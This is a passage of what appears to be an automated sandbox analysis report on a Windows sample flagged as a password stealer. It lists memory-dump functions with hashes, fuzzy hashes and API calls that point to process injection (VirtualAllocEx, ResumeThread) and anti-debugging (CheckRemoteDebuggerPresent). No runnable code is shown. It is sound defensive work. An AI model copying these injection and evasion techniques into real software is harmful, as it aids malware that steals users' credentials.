Instruction Fuzzy Hash: 3E1114B6D00309CFDB14CF9AC444ADEFBF4EB48310F10842AD919A7210C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 084072B2 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08407326

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fd791f3ac1bdf29058fd57db4f96c7c6fd3b07a9d9c4228af1cac69a486ba0a6
Instruction ID: 0a52fa875b923828de4583fa1f7a08bcb00d8896707de46b68d1f7d428cdfafb
Opcode Fuzzy Hash: fd791f3ac1bdf29058fd57db4f96c7c6fd3b07a9d9c4228af1cac69a486ba0a6
Instruction Fuzzy Hash: D31167B6800209DFDB10DFA9C9457DEBFF5AF48320F10881AD559A7250C735A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 084072B8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08407326

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c8e99bf366bb1ddbf54b678491861ae73e3af47416de5430adbe2865cc25765c
Instruction ID: 8d80937318ed32f6e4ccb0b01499d74af61be0bff8a6e7f4838dd592094a8791
Opcode Fuzzy Hash: c8e99bf366bb1ddbf54b678491861ae73e3af47416de5430adbe2865cc25765c
Instruction Fuzzy Hash: 661167B18002488FCB10DFAAC844BDFBFF5EF88320F10882AE559A7250C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08406CF0 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 08406D5A

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 70cd42f00e9c224a1c60d7c5a26f6464a026a2f9c82e93efa34a473f8b220a41
Instruction ID: 22bc54ffe044182566c780dddf33083cf2b80df36593ba076ae775d962d602d4
Opcode Fuzzy Hash: 70cd42f00e9c224a1c60d7c5a26f6464a026a2f9c82e93efa34a473f8b220a41
Instruction Fuzzy Hash: 671116B19002498FCB10DFAAC4457EEFFF5AF88324F24842ED459A7650C779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08406CF8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 08406D5A

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c9140e6b02c155558ba061c677caea5513306d5a6a55d98b4140c9e661216335
Instruction ID: af540a4e934e5cf4b694ec5d5a20c17a188e3c00daa5aec9c025b11096d59f65
Opcode Fuzzy Hash: c9140e6b02c155558ba061c677caea5513306d5a6a55d98b4140c9e661216335
Instruction Fuzzy Hash: 0A1125B19003488BCB20DFAAC4457DFFBF5AF88324F20842AD459A7250CB79A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124D558 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0124D5BE

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5788cd7b2c383b270ef9de2c8415213e6ed555a2ac0d8e514fe9d433a6a7d8a7
Instruction ID: e8ff528a6c732d4feac2f95fa2c686388a5e652fff9d7082078b51051741f7ad
Opcode Fuzzy Hash: 5788cd7b2c383b270ef9de2c8415213e6ed555a2ac0d8e514fe9d433a6a7d8a7
Instruction Fuzzy Hash: 77111DB6D002498FDB14CF9AD444ADEFBF8AF88324F10842AD969A7210D779A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08405C50 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0840B8C5

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0c352633dc392115c74b3dde8ba8ce34f40f3f4b0ca46b0ecfdbaeb67499fb88
Instruction ID: afcab94f9d5f4ec651ba3467a5d4a804cdc5d1963db48beac0dafa2f4b1f6a81
Opcode Fuzzy Hash: 0c352633dc392115c74b3dde8ba8ce34f40f3f4b0ca46b0ecfdbaeb67499fb88
Instruction Fuzzy Hash: 9411E0B5800349DFCB10DF9AC545BDEBBF8EB48320F10882AE558A7250C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0840B861 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0840B8C5

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ccdaf24227279bf6d7e9b48b69ef117f35a0f0feb0ee116c2dc736add1a293f2
Instruction ID: 397f580fc74da4e7aadf84048216ebdcf76d2b5e0d72c704edc83fed248dc727
Opcode Fuzzy Hash: ccdaf24227279bf6d7e9b48b69ef117f35a0f0feb0ee116c2dc736add1a293f2
Instruction Fuzzy Hash: D31103B5800348DFDB10CF99C544BDEBFF4EB48324F10881AD558A7650C379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124D881 Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0124D639,00000800,00000000,00000000), ref: 0124D84A

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 79984f7e599a07a4928e7ec3ee538f738bc5ae653b8f3a26de51c17a0a5a056a
Instruction ID: 93bd2b17d777d1dd842eb172ea0f1c711d29d108eda21c8e9d6d5fcd73b7ee6b
Opcode Fuzzy Hash: 79984f7e599a07a4928e7ec3ee538f738bc5ae653b8f3a26de51c17a0a5a056a
Instruction Fuzzy Hash: 3CF02472A043198FEB21ABADE80839AFFE4EF51330F098067D248C7511C3759445CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00FED3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724465430.0000000000FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fed000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d904d41ab7e610e3da836fdf2ba708042cb5b937efe64cb293a6a0482cc3be32
Instruction ID: 27f67e96142c4c69bc11344ec91b1ff4eefab121bf9a0ab062b0049b760e5ed5
Opcode Fuzzy Hash: d904d41ab7e610e3da836fdf2ba708042cb5b937efe64cb293a6a0482cc3be32
Instruction Fuzzy Hash: 1C213A72500284DFDB05DF15D9C0B16BFA5FBA4324F20C169E9094F696C336E856E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00FED4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724465430.0000000000FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fed000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e358ac387e75dbb9bf8866010856a965804d988e2a15fc61333f7d45aeb3a1f
Instruction ID: e2473c8f89f34434c8c292681036679757530be2dbf145f68ff8281790781e0e
Opcode Fuzzy Hash: 0e358ac387e75dbb9bf8866010856a965804d988e2a15fc61333f7d45aeb3a1f
Instruction Fuzzy Hash: FF213A72500380DFCB05DF15D9C0B27BF65FB94328F24C569D8050B656C336D856EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724524578.0000000000FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ffd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fd72e194000fa4b80cfd8128870a14d4b29c04accae777a3a15c96de5635366
Instruction ID: 6fddc77922e949ade80bed1754d5838bece268faba0dce90cf2ddfa714cae256
Opcode Fuzzy Hash: 1fd72e194000fa4b80cfd8128870a14d4b29c04accae777a3a15c96de5635366
Instruction Fuzzy Hash: 1021F571504208DFDB14DF14D5C4B26BB66EF84324F20C569DA0A4B26ACB36D847DA61

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724524578.0000000000FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ffd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61260ee5314a45d20b057aea577df59b665e05741a998dcce7f08c02259a2f9b
Instruction ID: 67691cc555c161443edaf5c05244208eecb24cd242e729b9ff88ae197ca5aa30
Opcode Fuzzy Hash: 61260ee5314a45d20b057aea577df59b665e05741a998dcce7f08c02259a2f9b
Instruction Fuzzy Hash: 5C212971904208DFDB05DF14D9C4B36BBA6FF84324F20C5ADDA094B365C376D846EAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724524578.0000000000FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ffd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388eada42449f495c007ef1562765e96119f2efcd20e9744b49bf936848f22b3
Instruction ID: d95e090fa9a9e33531fea7b30983ac1132523e3f1c7e4f1969ad35fea03bf77c
Opcode Fuzzy Hash: 388eada42449f495c007ef1562765e96119f2efcd20e9744b49bf936848f22b3
Instruction Fuzzy Hash: 3F2180755093848FCB02CF24D994715BF72EF46314F28C5EAD9498F2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FED4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724465430.0000000000FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fed000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 9d39b9f1b1a01011854dccb0241571bee459f8e5f8713bdc4dad889f88ebee70
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1E11D376904380CFCB16CF14D9C4B16BF71FB94328F28C6AAD8490B656C336D85ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FED3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724465430.0000000000FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fed000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 880bf0545490772ae1320b2a3cdcc54aaff276f89d2faa86ca91406e8fb00432
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: AF112676804280CFCB06CF00D5C4B16BF71FBA4324F24C2A9DC090B656C33AE85ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724524578.0000000000FFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ffd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: aa965570758619cc7f461afdae87aa84b2db44009359daffd319ac0a323c6889
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 9F11BE75904244DFCB06CF10C5C4B25BB62FF84324F24C6AAD9494B266C33AD80ADB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0840CE00 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf0fab027fd180e231cabf45c0cf19f86ddb47b0f1f08f78d168cee4b04aba0
Instruction ID: 7a9f5875baec1d51929cc406e6ae4c10def7b453e4e768d2e979e32e2083ce6c
Opcode Fuzzy Hash: ccf0fab027fd180e231cabf45c0cf19f86ddb47b0f1f08f78d168cee4b04aba0
Instruction Fuzzy Hash: 21C1A931B016009FD729EB79C89076BBBFAAF89A02F14457ED14A8B3D0DB35D906CB51

Uniqueness

Uniqueness Score: -1.00%

Function 08404848 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9638c3fe7ab8f08b3ff79adde56f12f24e5a02681ea3a70a8f416e06d87d28
Instruction ID: 6368e5490b2294bef9fbabf3eb21dbc5a8ff23cbdbc3fe5da0bc5084407ada24
Opcode Fuzzy Hash: ec9638c3fe7ab8f08b3ff79adde56f12f24e5a02681ea3a70a8f416e06d87d28
Instruction Fuzzy Hash: BCE11C74E002598FCB14DFA9D5809AEFBB2FF88305F24C26AD514AB355D730A942CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08404410 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6e22a4f4dc15dccfccca39e7cb8cac2ad07e4aa222c47c387a301320b2eaf6
Instruction ID: 49d687da7bf5b0e31ce1558f84756f275294d296db3ebbf7b9ad66e3ec9de3cd
Opcode Fuzzy Hash: 4d6e22a4f4dc15dccfccca39e7cb8cac2ad07e4aa222c47c387a301320b2eaf6
Instruction Fuzzy Hash: B3E1FC74E001598FCB14DF99D5809AEFBB2FF89305F24C26AE514AB356D730A942CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 084064D0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c5e1bca3def586a7e5167814f9668d224fdde00bed91c6729376c8a46c4a4e1
Instruction ID: 4bfc7af90f6059583f283339a85b1ae4a1bb510da902f8d91ab96e023c9ce30e
Opcode Fuzzy Hash: 8c5e1bca3def586a7e5167814f9668d224fdde00bed91c6729376c8a46c4a4e1
Instruction Fuzzy Hash: A0E11DB4E012598FCB14DFA9D5809AEFBB2FF89305F24C16AE415A7356D730A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 08404C80 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c724371be664a47c45b2678ea84d831b5774e4181a9f019bc6a4aef6c5b8c7c8
Instruction ID: fda83b9ebb6b806d7e91c3007811263fdb10c36e2640724ed1af78e07100bf83
Opcode Fuzzy Hash: c724371be664a47c45b2678ea84d831b5774e4181a9f019bc6a4aef6c5b8c7c8
Instruction Fuzzy Hash: DDE12C74E002198FCB14DFA9D5809AEFBB2FF89305F24C26AD514AB355D730A942CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 08406E80 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9934efdf3c008e1b39a5f5a5a2bb92e3b0b9f94d8d5e618114e7f6a6b7a110
Instruction ID: 5c460e3e20ea9e4fb3bf376b891d5a99f7f4bdc20d743d6812eaea0ecb980c6d
Opcode Fuzzy Hash: 1a9934efdf3c008e1b39a5f5a5a2bb92e3b0b9f94d8d5e618114e7f6a6b7a110
Instruction Fuzzy Hash: 9BE10E74E002598FCB14DF99D5809AEFBF2BF89305F24C269E414AB356D731A942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08404839 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adca4abf5dc4e39149e101cae559bba2944eb09e394210d2a9753128c780b4e4
Instruction ID: ecfa88559f01b050d8f75cc875a7e641c5b047f2a84e85e7411a6bf1783ebca3
Opcode Fuzzy Hash: adca4abf5dc4e39149e101cae559bba2944eb09e394210d2a9753128c780b4e4
Instruction Fuzzy Hash: 44511C74E042598FCB14CFA9D5805AEFBF2BF89305F24C1AAD418AB356D7309942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 084064CC Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe83e2e9495ec0c3f1463c4437e27a19c09634dccb75fe9c45018c6bb4a6bf6b
Instruction ID: cf2bbd3986c765a837a5acf61c6e3f0974fcaec698ff93e2fc87295f7406869e
Opcode Fuzzy Hash: fe83e2e9495ec0c3f1463c4437e27a19c09634dccb75fe9c45018c6bb4a6bf6b
Instruction Fuzzy Hash: EB512CB4E012198FDB14DFA9D5805AEFBF2BF89305F24C16AD419A7356D7309942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0124783B Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88b292c2b6db1aac344e03b3d2ca49e7a2f91f9c79a46f8c6eff8e94c730121
Instruction ID: 79cb2cfd7138a32c30b0ade4497ef157e747b9a4839f906a01b7f8a83692c4af
Opcode Fuzzy Hash: e88b292c2b6db1aac344e03b3d2ca49e7a2f91f9c79a46f8c6eff8e94c730121
Instruction Fuzzy Hash: 5641F478E5510E8FDF14CFA9E8819AEB7F2BF48300B15E229E016EB255DB31A845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0840A35D Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d8a956a7e151be8835f1d59db2cc0de6c822726e3284d173fe9b7077e3e4dc
Instruction ID: 7dfe1b0d1e9f78ad0017b8836cc46fcdb14663a610ba03729af46d44d01917d8
Opcode Fuzzy Hash: 69d8a956a7e151be8835f1d59db2cc0de6c822726e3284d173fe9b7077e3e4dc
Instruction Fuzzy Hash: 25219BB1D056288BEB68CF6B99047DEFAF7AFC9301F04D1BAC40DA6255DB7406868F41

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exePID: 7420, Parent PID: 3140COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 06ED6880 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06ED6FCC
$^q, xrefs: 06ED6FA8
$^q, xrefs: 06ED6FB4
$^q, xrefs: 06ED6F7F
$^q, xrefs: 06ED6FD8
$^q, xrefs: 06ED6F8B

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 60dd1e03d4cbfec9b18b88747c5aa3ec6ba1cbc0abc140009f1850112525c79a
Instruction ID: ddb1f3cb1115bfd218e99b8d067b2591210b7c49440fdee8b4a38d6e62d54a66
Opcode Fuzzy Hash: 60dd1e03d4cbfec9b18b88747c5aa3ec6ba1cbc0abc140009f1850112525c79a
Instruction Fuzzy Hash: D4321F31E1071A8FCB14EF75D85459DF7B6FFC9304F2096AAD409AB254EB30A986CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EDB5A8 Relevance: 3.0, Strings: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06EDB8E5
$^q, xrefs: 06EDB8F1

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: fab599464f315847fe7ca9bccb132a0a4af3bfbf2356ee78f287bf43bf99b44b
Instruction ID: 0288df2067f4448e91b6ad7829ee430898ce42efa1e563ff69fb2fa5e0456b77
Opcode Fuzzy Hash: fab599464f315847fe7ca9bccb132a0a4af3bfbf2356ee78f287bf43bf99b44b
Instruction Fuzzy Hash: 1F029074B0030A8FDB54DF64D590AAEB7E2EF84314F158569E41ADB399EB31DC42CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06ED0040 Relevance: 2.8, Instructions: 2762COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e16835296422721b82c32fe7b81fefbecb02ade9ee35e8363ba64c5a1b337341
Instruction ID: 01a802b2aadb3d1de6863631b42a94088384d1de8c1470b74bed25cc03b0ee9d
Opcode Fuzzy Hash: e16835296422721b82c32fe7b81fefbecb02ade9ee35e8363ba64c5a1b337341
Instruction Fuzzy Hash: 4D53E431D10B1A8ECB51EB68C8845A9F7B1FF99300F15D79AE45877221EB70AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06ED33C0 Relevance: 2.2, Instructions: 2246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15edee8f738b8086ae163226b2f84615c5178ca906705697b89833863b156894
Instruction ID: 7dbb9a38f1886ab9f1337bbc688f93cc3aca3a58343c767222064a78aa012d1f
Opcode Fuzzy Hash: 15edee8f738b8086ae163226b2f84615c5178ca906705697b89833863b156894
Instruction Fuzzy Hash: 8C330B31D107198EDB11EF68C88069DF7B1FF99300F15D69AE458AB261EB70AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06ED89B8 Relevance: 1.9, Strings: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06ED90B6

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 806eadf7f22c5087c0eca6fcae37b582e37a47675a973d5bd14dbdd766cf1d1b
Instruction ID: 743827b926226ce8c0a66c05c18bc3a3d46bb032d0ec9c54f2ece9c14102dbbf
Opcode Fuzzy Hash: 806eadf7f22c5087c0eca6fcae37b582e37a47675a973d5bd14dbdd766cf1d1b
Instruction Fuzzy Hash: 5C22D031E002059FDB64DBA4C8906AEBBB2FF85318F24856AD419AB385DB31DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 011D7EC8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 011D7F3F

Memory Dump Source

Source File: 00000007.00000002.4170399979.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11d0000_SecuriteInfo.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2c02e19dfe714370e8540ca10c34ceba0cd27750c0cbc29e2e0882b2edb818e0
Instruction ID: 8803c8a0a1076542e858a2c3e3d8c7be0c7cd843a53f52bf27ff61949008a0bd
Opcode Fuzzy Hash: 2c02e19dfe714370e8540ca10c34ceba0cd27750c0cbc29e2e0882b2edb818e0
Instruction Fuzzy Hash: 172125B18002598FCB14CFAAD484BEEBBF4EF49324F14846AE459A7250D778A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06ED0006 Relevance: 1.3, Instructions: 1337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

